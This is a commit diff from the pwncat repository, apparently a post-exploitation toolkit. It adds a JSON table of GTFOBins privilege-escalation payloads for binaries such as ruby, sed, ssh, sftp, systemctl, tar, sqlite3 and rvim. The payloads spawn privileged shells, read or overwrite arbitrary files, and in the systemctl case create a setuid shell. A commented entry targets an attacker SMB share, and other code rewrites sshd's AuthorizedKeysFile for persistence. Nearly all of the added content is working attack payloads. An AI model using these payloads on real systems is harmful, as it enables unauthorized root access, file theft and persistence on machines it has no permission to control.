1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Added GTFObin files up to the letter r

This commit is contained in:
John Hammond 2020-05-24 23:54:55 -04:00
parent 5a4823c8d3
commit b1dcb47c80
5 changed files with 447 additions and 30 deletions

1
.gitignore vendored
View File

@ -9,3 +9,4 @@ testbed
.idea/ .idea/
data/*.sqlite data/*.sqlite
testing/ testing/
data/pwncat.sqlite-journal

View File

@ -259,34 +259,6 @@
"exit": "exit\n" "exit": "exit\n"
} }
], ],
//-------------------------------------------------------------------
"socat": [
{
"type": "shell",
"payload": "{command}",
"args": ["STDIN", "EXEC:{shell},nofork,pty"],
"exit": "exit\n"
},
{
"type": "read",
"payload": "{command}",
"args": ["-u", "FILE:{lfile}", "STDOUT"]
},
{
"type": "write",
"stream": "print",
"payload": "{command} 2>/dev/null",
"args": ["-u", "STDIN", "CREATE:{lfile}"],
"exit": "{ctrl_d}"
},
{
"type": "write",
"stream": "base64",
"payload": "{base64} -d | {command} 2>/dev/null",
"args": ["-u", "STDIN", "CREATE:{lfile}"],
"exit": "{ctrl_d}"
}
],
//------------------------------------------------------------------- //-------------------------------------------------------------------
"chmod": [ "chmod": [
{ {
@ -871,6 +843,394 @@
//-------------------------------------------------------------------
"ruby": [
// if ruby is setuid, it will not let you run with -e or pass
// commands piped through stdin... so we must create a temporary script
{
"type": "shell",
"payload": "TF=$({mktemp}); echo 'exec \"{shell} -p\"' > $TF; {command}",
"args": ["$TF"]
},
{
"type": "read",
"stream":"print",
"payload": "TF=$({mktemp}); echo 'puts File.read(\"{lfile}\")' > $TF; {command}",
"args": ["$TF"]
},
{
"type": "write",
"stream":"print",
"payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}",
"args": ["$TF"],
"exit": "{ctrl_d}{ctrl_d}"
},
{
"type": "write",
"stream":"base64",
"payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}",
"args": ["$TF"],
"exit": "{ctrl_d}{ctrl_d}"
}
],
"ruby2.5": [
// if ruby is setuid, it will not let you run with -e or pass
// commands piped through stdin... so we must create a temporary script
{
"type": "shell",
"payload": "TF=$({mktemp}); echo 'exec \"{shell} -p\"' > $TF; {command}",
"args": ["$TF"]
},
{
"type": "read",
"stream":"print",
"payload": "TF=$({mktemp}); echo 'puts File.read(\"{lfile}\")' > $TF; {command}",
"args": ["$TF"]
},
{
"type": "write",
"stream":"print",
"payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}",
"args": ["$TF"],
"exit": "{ctrl_d}{ctrl_d}"
},
{
"type": "write",
"stream":"base64",
"payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}",
"args": ["$TF"],
"exit": "{ctrl_d}{ctrl_d}"
}
],
//-------------------------------------------------------------------
// run-mailcap should also be implemented.... it errors on my machine
// (I do not know why) and neglected to test it to implement it.
//
//-------------------------------------------------------------------
"run-parts": [
// run-parts separates the shell's folder and filename, so {shell}
// as a template option will not work well. I just get around this
// by trying bash first... if that fails, fall back to sh.
{
"type": "shell",
"payload": "{command}",
"args": ["--new-session", "--regex", "'^bash$'", "/bin", "--arg='-p'"]
},
{
"type": "shell",
"payload": "{command}",
"args": ["--new-session", "--regex", "'^sh$'", "/bin", "--arg='-p'"]
}
],
//-------------------------------------------------------------------
"scp": [
{
"type": "shell",
"payload": "TF=$({mktemp}); echo '{shell} 0<&2 1>&2' > $TF; {chmod} +x \"$TF\"; {command}",
"args": ["-S", "$TF", "x", "y:"]
}
],
//-------------------------------------------------------------------
"screen": [
{
"type": "shell",
"payload": "{command}",
"args": ["{shell}"]
}
],
//-------------------------------------------------------------------
"script": [
{
"type": "shell",
"payload": "{command}",
"args": ["-qc", "{shell}", "/dev/null"]
}
],
//-------------------------------------------------------------------
"sed": [
{
"type": "shell",
"payload": "{command}",
"args": ["-n", "'1e exec {shell} -p 1>&0'", "/etc/hosts"]
},
{
"type": "read",
"stream": "print",
"payload": "{command}",
"args": ["''", "{lfile}"]
},
{
"type": "write",
"stream": "print",
"payload": "{command}",
"args": ["-n", "'s/\\(.\\)/\\1/w {lfile}'" ],
"exit": "{ctrl_d}{ctrl_d}"
}
],
//-------------------------------------------------------------------
"service": [
{
"type": "shell",
"payload": "{command}",
"args": ["../../{shell} -p"]
}
],
//-------------------------------------------------------------------
"setarch": [
{
"type": "shell",
"payload": "{command}",
"args": ["$({arch})", "{shell} -p"]
}
],
//-------------------------------------------------------------------
"sftp": [
{
"type": "shell",
"payload": "{command}",
"args": ["-o", "ProxyCommand=';{shell} -p 0<&2 1>&2'", "x"]
}
],
//-------------------------------------------------------------------
"shuf": [
{
"type": "read",
"stream": "print",
"payload": "{command}",
"args": ["-z", "{lfile}"]
}
// shuf CAN file write with...
// LFILE=file_to_write
// sudo shuf -e DATA -o "$LFILE"
// but it replaces spaces with newlines...
// which could be pretty problematic. I have left out that technique.
// The other technique, below, adds null-bytes at the end of each line
// This will make the "print" stream fail. and it will not work
// for "base64" or "raw" streams either. :/
// {
// "type": "write",
// "stream": "base64",
// "payload": "{base64} -d | {command}",
// "args": ["-z", "-o", "{lfile}"],
// "exit":"{ctrl_d}{ctrl_d}"
// }
],
//-------------------------------------------------------------------
// smbclient requires an attacker share or SMB/CIFS server be available.
// This would likely be better as its own privesc method, so one share
// can be automatically started to use this technique.
// "smbclient": [
// {
// "type": "shell",
// "payload": "{command} '\\\\attacker\\share'",
// "args": [],
// "input":"!{shell} -p"
// },
// ],
//-------------------------------------------------------------------
"socat": [
{
"type": "shell",
"payload": "{command}",
"args": ["STDIN", "EXEC:{shell},nofork,pty"],
"exit": "exit\n"
},
{
"type": "read",
"payload": "{command}",
"args": ["-u", "FILE:{lfile}", "STDOUT"]
},
{
"type": "write",
"stream": "print",
"payload": "{command} 2>/dev/null",
"args": ["-u", "STDIN", "CREATE:{lfile}"],
"exit": "{ctrl_d}"
},
{
"type": "write",
"stream": "base64",
"payload": "{base64} -d | {command} 2>/dev/null",
"args": ["-u", "STDIN", "CREATE:{lfile}"],
"exit": "{ctrl_d}"
}
],
//-------------------------------------------------------------------
"soelim": [
{
"type": "read",
"stream": "print",
"payload": "{command} | {tail} -n +2",
"args": ["{lfile}"]
}
],
//-------------------------------------------------------------------
"sort": [
{
"type": "read",
"stream": "print",
"payload": "{command}",
"args": ["-m","{lfile}"]
}
],
//-------------------------------------------------------------------
"sqlite3": [
{
"type": "shell",
"payload": "{command}",
"args": ["/dev/null", "'.shell {shell} -p'"]
},
{
"type": "read",
"stream":"print",
"payload": "echo -e \"CREATE TABLE t(line TEXT);\\n.import {lfile} t\\nSELECT * FROM t;\\n\" | {command}",
"args": [""]
}
// https://gtfobins.github.io/gtfobins/sqlite3
// sqlite3 could POTENTIALLY write a file with this sort of syntax
// LFILE=file_to_write
// sqlite3 /dev/null -cmd ".output $LFILE" 'select "DATA";'
// but getting this as stdin might be difficult. Since it already
// has shell capabaility, it can write after-the-fact and I won't
// try to finagle this.
],
//-------------------------------------------------------------------
"ssh": [
{
"type": "shell",
"payload": "{command}",
"args": ["-o", "ProxyCommand=';{shell} -p 0<&2 1>&2'", "x"]
}
],
//-------------------------------------------------------------------
"start-stop-daemon": [
{
"type": "shell",
"payload": "{command}",
"args": ["-n", "$RANDOM", "-S", "-x", "{shell}", "--", "-p"]
}
],
//-------------------------------------------------------------------
"stdbuf": [
{
"type": "shell",
"payload": "{command}",
"args": ["-i0", "{shell}", "-p"]
}
],
//-------------------------------------------------------------------
"strace": [
{
"type": "shell",
"payload": "{command}",
"args": ["-o", "/dev/null", "{shell}", "-p"]
}
],
//-------------------------------------------------------------------
"strings": [
{
"type": "read",
"stream": "print",
"payload": "{command}",
"args": ["{lfile}"]
}
],
"x86_64-linux-gnu-strings": [
{
"type": "read",
"stream": "print",
"payload": "{command}",
"args": ["{lfile}"]
}
],
"x86-linux-gnu-strings": [
{
"type": "read",
"stream": "print",
"payload": "{command}",
"args": ["{lfile}"]
}
],
//-------------------------------------------------------------------
"systemctl": [
{
"type": "shell",
"payload": "TF=$({mktemp} -u).service; TS=$({mktemp} -u); echo -e \"[Service]\\nType=oneshot\\nExecStart={shell} -c 'cp {shell} $TS; {chmod} +sx $TS;'\\n[Install]\\nWantedBy=multi-user.target\" > $TF; {command} link $TF; {command} enable --now $TF; $TS -p",
"args": []
},
{
"type": "shell",
"payload": "{command}",
"input":"!{shell} -p\n",
"exit":"exit\n{ctrl_c}",
"args": []
}
],
//-------------------------------------------------------------------
"tac": [
{
"type": "read",
"stream":"raw",
"payload": "{command}",
"args": ["-s", "'_-_PWNCAT_RANDOM_DELIM_-_'", "{lfile}"]
}
],
//-------------------------------------------------------------------
"tail": [
{
"type": "read",
"stream":"raw",
"payload": "{command}",
"args": ["-c1GB", "{lfile}"]
}
],
//-------------------------------------------------------------------
"tar": [
{
"type": "shell",
"payload": "{command}",
"args": ["-cf", "/dev/null", "/dev/null", "--checkpoint=1", "--checkpoint-action=exec={shell} -p"]
},
{
"type": "shell",
"payload": "{command}",
"args": ["xf", "/dev/null", "-I", "'{shell} -p -c \"{shell} -p <&2 1>&2\"'"]
},
{
"type": "read",
"stream": "raw",
"payload": "{command} 2>&1",
"args": ["xf", "{lfile}", "-I", "'{sh} -c \"{cat} 1>&2\"'"]
}
// This requires invoking `tar` twice... before and after a pipe.
// With sudo, this would not work well... and as SETUID, the file does not
// seem to keep the permissions as the elevated user. I'll remove this,
// because since it can get a shell, it can just "write a file" naturally.
// {
// "type": "write",
// "stream":"base64",
// "payload": "TF=$({mktemp}); {base64} -d > $TF; {command} | {tar} x -P",
// "args": ["c", "--xform", "\"s@.*@{lfile}@\"", "-OP", "$TF"],
// "exit": "{ctrl_d}{ctrl_d}"
// }
],
//-------------------------------------------------------------------
"taskset": [
{
"type": "shell",
"payload": "{command}",
"args": ["1", "{shell}", "-p"]
}
],
//------------------------------------------------------------------- //-------------------------------------------------------------------
"tclsh": [ "tclsh": [
{ {
@ -1085,6 +1445,43 @@
"exit": "{ctrl_d}" "exit": "{ctrl_d}"
} }
], ],
"rvim": [
{
"type": "shell",
"payload": "{command}",
"args": ["-c", "':!exec {shell} -p'", "-c", "':q'"],
// Include an extra newline to be sure to exit vim itself.
"exit": "exit\n\n"
},
{
"type": "shell",
"payload": "{command}",
"args": ["-c", "':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"]
},
{
"type": "shell",
"payload": "{command}",
"args": ["-c", "':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"]
},
{
"type": "shell",
"payload": "{command}",
"args": ["-c", "':lua os.execute(\"reset; exec {shell}\")'", "-c", "'quit'"]
},
{
"type": "read",
"stream": "print",
"payload": "{command}",
"args": ["-es" ,"'+%print'" ,"'+:q!'", "{lfile}"]
},
{
"type": "write",
"stream": "print",
"payload": "{cat} - | {command}",
"args": ["-es" ,"'+%print'" ,"'+:w! {lfile}'", "'+:q!'", "/dev/stdin"],
"exit": "{ctrl_d}"
}
],
//------------------------------------------------------------------- //-------------------------------------------------------------------
"wish": [ "wish": [
{ {

View File

@ -51,7 +51,7 @@ class Method(PersistenceMethod):
lines = [] lines = []
for line in config.split(): for line in config.split():
if re.match(f"\s*AuthorizedKeysFile\s+"): if re.match(f"\s*AuthorizedKeysFile\s+", line):
lines.append("#" + line) lines.append("#" + line)
lines.append("AuthorizedKeysFile /.ssh/authorized_keys") lines.append("AuthorizedKeysFile /.ssh/authorized_keys")
else: else:

View File

@ -151,7 +151,10 @@ class SetuidMethod(Method):
mode += "b" mode += "b"
try: try:
data_printable = data.decode("utf-8").isprintable() # data_printable = data.decode("utf-8").isprintable()
# Use the custom `util.isprintable()` so we can keep newlines
data_printable = util.isprintable(data)
except UnicodeDecodeError: except UnicodeDecodeError:
data_printable = False data_printable = False

View File

@ -60,6 +60,22 @@ class Init(Enum):
SYSV = auto() SYSV = auto()
def isprintable(data) -> bool:
"""
This is a convenience function to be used rather than the usual
``str.printable`` boolean value, as that built-in **DOES NOT** consider
newlines to be part of the printable data set (weird!)
"""
if type(data) is str:
data = data.encode("utf-8")
for c in data:
if c not in bytes(string.printable, "ascii"):
return False
return True
def human_readable_size(size, decimal_places=2): def human_readable_size(size, decimal_places=2):
for unit in ["B", "KiB", "MiB", "GiB", "TiB"]: for unit in ["B", "KiB", "MiB", "GiB", "TiB"]:
if size < 1024.0: if size < 1024.0: